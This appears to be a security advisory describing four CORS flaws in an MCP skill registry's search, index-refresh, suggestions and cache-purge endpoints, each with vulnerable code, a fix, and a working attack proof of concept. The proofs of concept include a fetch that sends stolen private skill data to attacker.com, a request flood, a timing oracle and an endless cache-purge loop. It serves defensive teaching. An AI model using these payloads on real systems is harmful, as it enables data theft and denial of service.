Claude MCP skill CORS misconfiguration — skill search and discovery query caching endpoints (SA-SKL-CORS75)
SA-SKL-CORS75 identifies four CORS misconfiguration vulnerabilities in MCP skill registry skill search and discovery query caching endpoints. Credential-bearing CORS on the search query endpoint exposes personalized search results including private and unlisted skill identifiers that the authenticated admin user can discover but that are hidden from unauthenticated users, premium catalog entries that are gated behind paid plan access, and admin-only search debug fields that expose internal scoring weights and index health metrics; wildcard ACAO on the search index refresh endpoint allows any page to submit index refresh requests under the victim admin's session, flooding Elasticsearch with write operations that exhaust the index's write capacity and produce a search degradation denial-of-service condition for all registry users; a timing oracle on the search suggestions endpoint reveals the specific query strings that admin users are actively typing in the registry search bar by measuring the latency differential between warm autocomplete cache entries (~7ms) and cold suggestions generated from full index scan (~180ms); and credential-bearing CORS on the search cache purge endpoint allows any page to delete the search result cache, forcing all subsequent queries against cold Elasticsearch paths and producing elevated latency and backend load for every registry user during the cold-start period.
GET /api/skills/search has cors({origin:true,credentials:true}) — any origin reads personalized search results including private/unlisted skill identifiers, premium catalog entries, and admin-only search debug data using victim admin sessionPOST /api/skills/search/index has ACAO:* — any page triggers search index refresh under victim admin identity; attacker floods index refresh requests exhausting Elasticsearch write capacity causing search degradation DoSGET /api/skills/search/suggestions reflects Origin before auth check — timing oracle reveals search query patterns actively being typed by admin users (autocomplete hot ~7ms vs cold ~180ms)DELETE /api/skills/search/cache has cors({origin:true,credentials:true}) — any origin purges search caches causing cold-start performance degradation and elevated backend load for all registry usersCORS75-001 — Credential-bearing CORS exposes private skill identifiers, premium catalog entries, and admin search debug data
The GET /api/skills/search endpoint returns personalized search results based on the authenticated user's plan tier and administrative role. When an admin user queries the search endpoint, the response includes fields that are suppressed for unauthenticated and free-tier users: private and unlisted skill identifiers that skill authors have explicitly hidden from public discovery while still sharing with specific trusted users, premium catalog entries that are part of the registry's paid tier and gated behind plan access checks, and admin-only debug fields that expose the internal Elasticsearch relevance score, the per-index shard distribution for each result, and the query rewrite log that shows how the search engine normalized and expanded the original query string.
With cors({origin:true,credentials:true}) applied before the plan-tier check, any cross-origin page visited by an authenticated admin user can invoke this endpoint and receive the full admin-augmented search response. The private skill identifiers are particularly dangerous because skill authors who set visibility to private or unlisted rely on the registry's access control to prevent discovery; a CORS-exploited search response bypasses that access control entirely and delivers a full enumeration of hidden skills to any attacker who can get an admin to visit their page.
// CORS75-001 — VULNERABLE
router.get(
'/api/skills/search',
cors({ origin: true, credentials: true }), // any origin reads full search results
requireSession,
async (req, res) => {
const { q, page = 1 } = req.query;
const results = await searchService.query({
q,
page,
userId: req.session.userId,
// VULNERABLE: returns private/unlisted skills and admin debug fields based on caller identity
});
res.json(results);
}
);
Attack PoC — CORS75-001: Attacker hosts page on evil.example.com; victim admin visits while logged in. Response exposes all private/unlisted skill identifiers, premium catalog entries not visible to free users, and admin-only Elasticsearch debug fields including per-shard relevance scores and query rewrite logs.
// CORS75-001 — ATTACK PoC
fetch(
'https://registry.example.com/api/skills/search?q=internal&page=1',
{ credentials: 'include' }
)
.then(r => r.json())
.then(data => {
const privateSkills = data.results.filter(s => s.visibility !== 'public');
const premiumEntries = data.results.filter(s => s.planTier === 'premium');
const debugData = data._debug; // admin-only Elasticsearch internals
navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
privateSkillIds: privateSkills.map(s => s.id),
premiumSkillIds: premiumEntries.map(s => s.id),
indexDebug: debugData,
}));
});
// CORS75-001 — FIXED
router.get(
'/api/skills/search',
requireSession,
cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
async (req, res) => {
const { q, page = 1 } = req.query;
const results = await searchService.query({
q,
page,
userId: req.session.userId,
});
// FIXED: strip private/unlisted entries and admin debug fields for cross-origin consumers
const sanitized = results.results
.filter(s => s.visibility === 'public')
.map(({ _debug, internalScore, shardData, ...pub }) => pub);
res.json({ ...results, results: sanitized });
}
);
CORS75-002 — Wildcard ACAO on search index refresh endpoint enables Elasticsearch write-capacity DoS
The POST /api/skills/search/index endpoint triggers an on-demand refresh of the Elasticsearch search index for the skill registry. Index refreshes are normally triggered asynchronously by the registry's publishing pipeline whenever a new skill version is merged, but the endpoint also exposes a synchronous refresh path that registry admins can invoke manually when they need search results to reflect a recent change without waiting for the next scheduled refresh cycle. Each manual refresh invocation issues a full index refresh call against Elasticsearch, which temporarily blocks all write operations on the affected shards while the refresh completes and forces a segment merge operation that consumes significant I/O and CPU on the search cluster.
Configured with Access-Control-Allow-Origin: *, any page can trigger refresh requests using the victim admin's session. Flooding 150 simultaneous refresh requests saturates the Elasticsearch write thread pool and exhausts the segment merge queue, producing a condition where all search write operations — including real-time skill publication events — queue behind the flood and the search index falls behind the registry state by minutes to hours. Users searching for recently published skills see stale results or no results, and the registry's real-time publishing pipeline degrades measurably.
// CORS75-002 — VULNERABLE
router.post(
'/api/skills/search/index',
cors(), // VULNERABLE: wildcard ACAO
requireSession,
requireRole('admin'),
async (req, res) => {
// VULNERABLE: no rate limit; always runs full Elasticsearch index refresh
await elasticsearchClient.indices.refresh({ index: 'skills' });
res.json({ refreshed: true, timestamp: new Date().toISOString() });
}
);
Attack PoC — CORS75-002: Attacker floods the Elasticsearch index refresh endpoint using the victim admin's session. 150 simultaneous requests saturate the index write thread pool, causing search degradation and stale results for all registry users during the attack window.
// CORS75-002 — ATTACK PoC
const flood = Array.from({ length: 150 }, () =>
fetch(
'https://registry.example.com/api/skills/search/index',
{
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
}
).catch(() => {})
);
await Promise.all(flood);
// CORS75-002 — FIXED
router.post(
'/api/skills/search/index',
requireSession,
requireRole('admin'),
cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
csrfProtection,
rateLimit({ windowMs: 300_000, max: 2, keyGenerator: req => req.session.userId }),
async (req, res) => {
const lastRefresh = await refreshLock.get('skills:last_refresh');
if (lastRefresh && Date.now() - lastRefresh < 60_000) {
return res.status(429).json({ error: 'Index refresh rate limit: once per 60s' });
}
await refreshLock.set('skills:last_refresh', Date.now(), { ttl: 120 });
await elasticsearchClient.indices.refresh({ index: 'skills' });
res.json({ refreshed: true, timestamp: new Date().toISOString() });
}
);
CORS75-003 — Timing oracle on suggestions endpoint reveals admin search query patterns
The GET /api/skills/search/suggestions endpoint serves autocomplete suggestions as an admin user types a search query in the registry's search interface. The registry caches recently entered search queries in a per-user warm cache so that subsequent characters of the same query return suggestions in approximately 7ms from the in-memory prefix trie, while queries with no warm cache entry require a full Elasticsearch prefix scan that takes approximately 180ms to complete. The endpoint reflects the Origin header as an Access-Control-Allow-Origin value before performing the session authentication check, meaning that the CORS preflight succeeds for any origin, allowing cross-origin timing measurements even without reading the response body.
An attacker can probe the suggestions endpoint with candidate query strings from any origin and infer which queries have warm cache entries — revealing the specific search terms that admin users have recently typed in the registry interface. This includes internal code names for unreleased skill features, the names of private skills that admins are evaluating for internal use, and security-related queries that reveal the organization's current vulnerability research focus. The timing oracle is particularly useful as reconnaissance before executing CORS75-001: discovering which internal skill names admins are actively searching for identifies the highest-value private skill identifiers to target.
// CORS75-003 — VULNERABLE: Origin reflected before auth check
router.get(
'/api/skills/search/suggestions',
(req, res, next) => {
res.set('Access-Control-Allow-Origin', req.headers.origin || '*');
res.set('Access-Control-Allow-Credentials', 'true');
next();
},
requireSession,
async (req, res) => {
const { prefix } = req.query;
// warm cache (~7ms) for recent admin queries; cold Elasticsearch (~180ms) otherwise
const suggestions = await suggestionCache.get(
`suggest:${req.session.userId}:${prefix}`
) ?? await elasticsearchClient.suggest(prefix);
res.json({ suggestions });
}
);
Attack PoC — CORS75-003: Attacker probes suggestion endpoint timing for candidate query strings. Queries responding under 20ms have warm cache entries, revealing the exact terms admin users have recently searched — including internal skill code names and private skill identifiers.
// CORS75-003 — ATTACK PoC (timing oracle)
async function findAdminSearchPatterns(candidatePrefixes) {
const warm = [];
for (const prefix of candidatePrefixes) {
const t0 = performance.now();
await fetch(
`https://registry.example.com/api/skills/search/suggestions?prefix=${encodeURIComponent(prefix)}`,
{ credentials: 'include', mode: 'no-cors' }
).catch(() => {});
if (performance.now() - t0 < 20) warm.push(prefix); // warm = recently typed
}
return warm;
}
findAdminSearchPatterns(internalCodenames).then(console.log);
// CORS75-003 — FIXED
router.get(
'/api/skills/search/suggestions',
requireSession,
cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
async (req, res) => {
const { prefix } = req.query;
const suggestions = await suggestionCache.get(
`suggest:${req.session.userId}:${prefix}`
) ?? await elasticsearchClient.suggest(prefix);
// FIXED: enforce constant-time floor so timing oracle yields no signal
const elapsed = Date.now() - req._startTime;
await new Promise(r => setTimeout(r, Math.max(0, 50 - elapsed)));
res.json({ suggestions });
}
);
CORS75-004 — Credential-bearing CORS on cache purge endpoint produces cold-start degradation for all registry users
The DELETE /api/skills/search/cache endpoint flushes the registry's search result cache, forcing all subsequent search queries to execute against the full Elasticsearch index rather than the in-memory result cache. The registry's search performance depends heavily on this cache: warm cache lookups for the most popular search queries complete in under 10ms, while cold Elasticsearch scans for the same queries take 80–300ms depending on the complexity of the relevance scoring function and the number of matching skills. Flushing the cache therefore produces an immediate cold-start degradation that affects every user currently searching the registry simultaneously.
With cors({origin:true,credentials:true}) applied before the ownership check, any cross-origin page can invoke this endpoint using the victim admin's session and flush the entire search cache. Because the cache rebuild is driven by organic query traffic, full warm-up after a forced flush takes 15–30 minutes during normal traffic periods, during which every user experiences 3–10× elevated search latency. An attacker can amplify the impact by repeatedly flushing the cache on a short interval, preventing the cache from ever warming up and sustaining the degraded search performance indefinitely.
// CORS75-004 — VULNERABLE
router.delete(
'/api/skills/search/cache',
cors({ origin: true, credentials: true }), // any origin purges search cache
requireSession,
requireRole('admin'),
async (req, res) => {
await redisClient.flushdb(); // flushes entire search result cache
res.json({ purged: true, timestamp: new Date().toISOString() });
}
);
Attack PoC — CORS75-004: Attacker repeatedly purges the search cache via CORS-exploited delete requests. Cold-start degradation affects all registry users for 15–30 minutes per flush. Repeating the purge on a 5-minute interval sustains 3–10× elevated search latency indefinitely.
// CORS75-004 — ATTACK PoC
async function sustainedCachePurge() {
while (true) {
await fetch(
'https://registry.example.com/api/skills/search/cache',
{ method: 'DELETE', credentials: 'include' }
).catch(() => {});
await new Promise(r => setTimeout(r, 5 * 60 * 1000)); // purge every 5 minutes
}
}
sustainedCachePurge();
// CORS75-004 — FIXED
router.delete(
'/api/skills/search/cache',
requireSession,
requireRole('admin'),
cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
reAuthRequired({ maxAgeSeconds: 300 }),
rateLimit({ windowMs: 3_600_000, max: 3, keyGenerator: req => req.session.userId }),
async (req, res) => {
// FIXED: scope-limited purge — flush only the query result cache, not session or auth caches
const purgedKeys = await redisClient.eval(
"local keys = redis.call('keys', ARGV[1]) " +
"for i, k in ipairs(keys) do redis.call('del', k) end " +
"return #keys",
0, 'search:result:*'
);
res.json({ purged: true, keysEvicted: purgedKeys, timestamp: new Date().toISOString() });
}
);
SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect CORS ordering issues, credential-bearing reflection on search endpoints, and wildcard ACAO on index management operations in under 60 seconds. See SA-SKL-CORS73-BLOG for the full compound CORS attack chain analysis.